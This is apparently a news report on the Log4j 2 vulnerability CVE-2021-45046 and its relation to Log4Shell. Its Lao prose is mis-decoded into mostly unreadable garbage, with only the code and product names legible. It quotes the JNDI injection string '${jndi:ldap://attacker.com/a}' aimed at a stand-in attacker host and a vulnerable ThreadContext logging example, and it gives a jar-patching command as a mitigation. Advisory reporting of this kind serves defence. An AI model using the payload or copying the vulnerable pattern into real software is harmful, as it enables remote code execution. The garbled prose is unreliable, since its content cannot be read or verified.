เบเปเบญเบเปเบซเบงเปเบญเบตเบเบญเบฑเบเบซเบเบถเปเบเปเบเปเบเบทเบเบฅเบฐเบเบธเปเบงเปเปเบเบเบฒเบเบเบฐเบเบดเบเบฑเบเบเบฒเบเบเบปเบเปเบเบ JNDI เปเบเบซเปเบญเบเบชเบฐเบซเบกเบธเบ Log4j 2 (CVE-2021-45046), เปเบเบดเปเบเปเบเบตเบเบเบทเปเบเปเบเบดเบเบงเปเบฒเบเบฐเบกเบตเบเบฒเบเปเบเปเปเบเปเบเบตเปเบกเปเบเบเบฒเบเบเปเบญเบ 2.15 เปเบฅเบฐเบเปเปเบเปเบฒเบเบถเบเปเบเบดเบเบเบฒเบเบเปเบฒเปเบเปเบเบฒเบเบเบฑเปเบเบเปเบฒ "log4j2.noFormatMsgLookup" เบชเปเบฒเบฅเบฑเบเบเบฒเบเบเบปเบเบเปเบญเบ. เบเบฑเบเบซเบฒเปเบกเปเบเบญเบฑเบเบเบฐเบฅเบฒเบเบชเปเบงเบเปเบซเบเปเปเบกเปเบเบชเปเบฒเบฅเบฑเบเบฅเบธเปเบเปเบเบปเปเบฒเบเบญเบ Log4j 2, เบเปเบญเบเบเบฑเบเปเบเบเปเบเปเบเบธเบ "noFormatMsgLookup", เบเปเบญเบเบงเปเบฒเบกเบฑเบเปเบฎเบฑเบเปเบซเปเบกเบฑเบเปเบเบฑเบเปเบเปเบเปเบเบตเปเบเบฐเบเปเบฒเบกเบเบฒเบเบเบปเบเบเปเบญเบเบเปเปเบเบฑเบเบเปเบญเบเปเบซเบงเปเบเบตเปเบเปเบฒเบเบกเบฒ (Log4Shell, CVE-2021-44228), เปเบเบดเปเบเบเปเบงเบเปเบซเปเบเปเบฒเบเบชเบฒเบกเบฒเบเบเบฐเบเบดเบเบฑเบเบฅเบฐเบซเบฑเบเบเบญเบเบเปเบฒเบเปเบเป. เปเบเบตเบเปเบงเบต. เบชเปเบฒเบฅเบฑเบเบเบนเปเปเบเปเบฎเบธเปเบ 2.15, เบเบฒเบเบเบนเบเบฎเบตเบเปเบกเปเบเบเบทเบเบเปเบฒเบเบฑเบเปเบเบทเปเบญเบชเปเบฒเบเปเบเบทเปเบญเบเปเบเบชเปเบฒเบฅเบฑเบเปเบญเบฑเบเบเบฅเบดเปเบเบเบฑเบเบเบตเปเบเบฐเบฅเบปเปเบกเบฅเบปเบเปเบเบทเปเบญเบเบเบฒเบเบเบฑเบเบเบฐเบเบฒเบเบญเบเบเบตเปเบกเบตเบขเบนเปเบซเบกเบปเบเปเบ.
เบเปเบญเบเปเบซเบงเปเปเบเบตเบเบเบถเปเบเบเบฑเบเบฅเบฐเบเบปเบเบเบตเปเปเบเป Context Lookups เปเบเบฑเปเบ ${ctx:loginId} เบซเบผเบท Thread Context Maps เปเบเบฑเปเบ %X, %mdc, เปเบฅเบฐ %MDC เบชเปเบฒเบฅเบฑเบเบเบฒเบเบเบฑเบเบเบถเบ. เบเบฒเบเบเบฐเบเบดเบเบฑเบเบเบฒเบเปเบกเปเบเบกเบฒเบเบฒเบเบเบฒเบเบชเปเบฒเบเปเบเบทเปเบญเบเปเบเบชเปเบฒเบฅเบฑเบเบเบฒเบเบชเบปเปเบเบญเบญเบเบเปเปเบกเบนเบเบเบตเปเบเบฑเบเบเบธเบเบฒเบเบเบปเบเปเบเบ JNDI เบเบฑเบเบเบฑเบเบเบถเบเปเบเปเบงเบฅเบฒเบเบตเปเบเปเบฒเปเบเป context queries เบซเบผเบทเปเบกเปเปเบเบ MDC เปเบเปเบญเบฑเบเบเบฅเบดเปเบเบเบฑเบเบเบตเปเบเปเบฒเบเบปเบเบเบปเบเบฅเบฐเบเบฝเบเบเบฒเบเบเบฑเบเบฎเบนเบเปเบเบเบเบปเบเบเบฐเบฅเบดเบเปเบซเปเบเบฑเบเบเบฑเบเบเบถเบ.
เบเบฑเบเบเบปเปเบเบเบงเปเบฒเบเบฒเบ LunaSec เบชเบฑเบเปเบเบเปเบซเบฑเบเบงเปเบฒเบชเปเบฒเบฅเบฑเบเบฎเบธเปเบเบเบญเบ Log4j เบซเบเปเบญเบเบเบงเปเบฒ 2.15, เบเปเบญเบเปเบซเบงเปเบเบตเปเบชเบฒเบกเบฒเบเบเบทเบเบเปเบฒเปเบเปเปเบเบฑเบ vector เปเบซเบกเปเบชเปเบฒเบฅเบฑเบเบเบฒเบเปเบเบกเบเบต Log4Shell เบเบตเปเบเปเบฒเปเบเบชเบนเปเบเบฒเบเบเบฐเบเบดเบเบฑเบเบฅเบฐเบซเบฑเบเบเปเบฒ ThreadContext expressions เบเบทเบเบเปเบฒเปเบเปเปเบเปเบงเบฅเบฒเบเบตเปเบชเบปเปเบเบญเบญเบเปเบเบเบฑเบเบเบฑเบเบเบถเบ, เบเปเปเบกเบนเบเบเบฒเบเบเบญเบเปเบเบปเปเบฒเปเบเปเบ, เบเปเปเบงเปเบฒเบเบฐเปเบเบฑเบ. เบเบฒเบเบฅเบงเบกเปเบเบปเปเบฒเบเบฑเบเปเบเบทเปเบญเบเบปเบเบเปเบญเบเบเบธเบ " noMsgFormatLookups" เบซเบผเบทเปเบกเปเปเบเบ "%m{nolookups}".
เบเบฒเบเบเปเบญเบเบเบฑเบ bypass เปเบกเปเบเบกเบฒเบเบฒเบเบเบงเบฒเบกเบเบดเบเบเบตเปเบงเปเบฒเปเบเบเบเบตเปเบเบฐเปเบเบฑเบเบเบฒเบเบเบปเบเปเบเบเปเบเบเบเบปเบ "${jndi:ldap://attacker.com/a}", เบเบฒเบเบชเบฐเปเบเบเบเบตเปเบเบฐเบเบทเบเบเบปเบเปเบเบเปเบเบเบเปเบฒเบเบเปเบฒเบเบญเบเบเบปเบงเปเบเบฅเบฐเบเบฑเบเบเบฒเบเบเบตเปเปเบเปเปเบเบเบปเบเบฅเบฐเบเบฝเบเบเบฒเบเบเบฑเบเบฎเบนเบเปเบเบเบเบปเบเบเบฐเบฅเบดเบเปเบเบซเบฒ. เบเบฑเบเบเบถเบ. เบเบปเบงเบขเปเบฒเบ, เบเปเบฒเบเบฒเบเบชเบญเบเบเบฒเบกเบเปเบฅเบดเบเบปเบ ${ctx:apiversion} เบเบทเบเปเบเปเปเบกเบทเปเบญเบชเบปเปเบเบเปเปเบกเบนเบเปเบเบเบฑเบเบเบฑเบเบเบถเบ, เบเบฒเบเปเบเบกเบเบตเบชเบฒเบกเบฒเบเบเบทเบเบเบฐเบเบดเบเบฑเบเปเบเบเบเบฒเบเบเปเบฝเบเปเบเบเบเปเปเบกเบนเบ "${jndi:ldap://attacker.com/a}" เปเบเบปเปเบฒเปเบ เบเปเบฒเบเบตเปเบเบฝเบเปเบชเปเบเบปเบงเปเบ apiversion. เบเบปเบงเบขเปเบฒเบเบฅเบฐเบซเบฑเบเบเบตเปเบกเบตเบเบงเบฒเบกเบชเปเบฝเบ: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // เบเปเบฒ HTTP header "X-Api-Version" เบเบทเบเบชเบปเปเบเปเบเบเบตเป ThreadContext ThreadContext.put("apiversion" , apiVersion ); // เปเบกเบทเปเบญเบชเบปเปเบเบญเบญเบเปเบเบเบฑเบเบเบฑเบเบเบถเบ, เบกเบนเบเบเปเบฒเบเบฒเบเบเบญเบเบเบญเบ apiversion เบเบฐเบเบทเบเบเบฐเบกเบงเบเบเบปเบเปเบเบเปเบเปเบเบฒเบเบเบปเบเปเบเบ ${ctx:apiversion} logger.info("เปเบเปเบฎเบฑเบเบเบฒเบเบฎเปเบญเบเบเปเบชเปเบฒเบฅเบฑเบเบชเบฐเบเบฑเบ API"); เบเบฑเบเบเบทเบ "เบชเบฐเบเบฒเบเบเบต, เปเบฅเบ!"; }
เปเบ Log4j 2.15, เบเปเบญเบเปเบซเบงเปเบชเบฒเบกเบฒเบเบเบทเบเบเบนเบเบฎเบตเบเปเบเบทเปเบญเบเบฐเบเบดเบเบฑเบเบเบฒเบเปเบเบกเบเบต DoS เปเบกเบทเปเบญเบชเบปเปเบเบเปเบฒเบเปเบฒเบเปเปเบเบซเบฒ ThreadContext เบเบตเปเบเบฐเปเบฎเบฑเบเปเบซเปเบฎเบนเบเปเบเบเบเบฒเบเบเบฑเบเบฎเบนเบเปเบเบเบเบปเบเบเบฐเบฅเบดเบเปเบเป loop.
เบเบฒเบเบเบฑเบเบเบธเบ 2.16 เปเบฅเบฐ 2.12.2 เปเบเปเบเบทเบเปเบเบตเบเปเบเปเปเบเบทเปเบญเบชเบฐเบเบฑเบเบเปเบญเบเปเบซเบงเป. เปเบเบชเบฒเบเบฒ Log4j 2.16, เบเบญเบเปเบซเบเบทเบญเบเบฒเบเบเบฒเบเปเบเปเปเบเบเบตเปเบเบฐเบเบดเบเบฑเบเปเบเบฎเบธเปเบ 2.15 เปเบฅเบฐเบเบฒเบเบเบนเบเบกเบฑเบเบเบฒเบเบชเบญเบเบเบฒเบก JNDI LDAP เบเบฑเบ "localhost", เบเบฑเบเบเบฑเบ JNDI เบเบทเบเบเบดเบเปเบเปเบเบฒเบเบขเปเบฒเบเบชเบปเบกเบเบนเบเปเบเบเบเปเบฒเปเบฅเบตเปเบกเบเบปเปเบเปเบฅเบฐเบเบฒเบเบชเบฐเบซเบเบฑเบเบชเบฐเบซเบเบนเบเบชเปเบฒเบฅเบฑเบเบฎเบนเบเปเบเบเบเบฒเบเบเบปเบเปเบเบเบเปเปเบเบงเบฒเบกเปเบเปเบเบทเบเปเบเบเบเปเบฒเบ. เปเบเบฑเบเบเบฒเบเปเบเปเปเบเบเบงเบฒเบกเบเบญเบเปเบ, เปเบเบฐเบเปเบฒเปเบซเปเปเบญเบปเบฒเบซเปเบญเบเบฎเบฝเบ JndiLookup เบญเบญเบเบเบฒเบ classpath (เปเบเบฑเปเบ: "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class").
เบเปเบฒเบเบชเบฒเบกเบฒเบเบเบดเบเบเบฒเบกเบเบฒเบเบเบฐเบเบปเบเบเบปเบงเบเบญเบเบเบฒเบเปเบเปเปเบเปเบเปเบเบฑเบเปเบเบฑเบเบขเบนเปเปเบเบซเบเปเบฒเบเบญเบเบเบฒเบเปเบเบเบขเบฒเบ (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) เปเบฅเบฐเบเบนเปเบเบฐเบฅเบดเบเปเบงเบเบต Java (GitHub, Docker, Oracle, vmWare, Broadcom เปเบฅเบฐ Amazon / AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, เปเบฅเบฐเบญเบทเปเบเป).
เปเบซเบผเปเบเบเปเปเบกเบนเบ: opennet.ru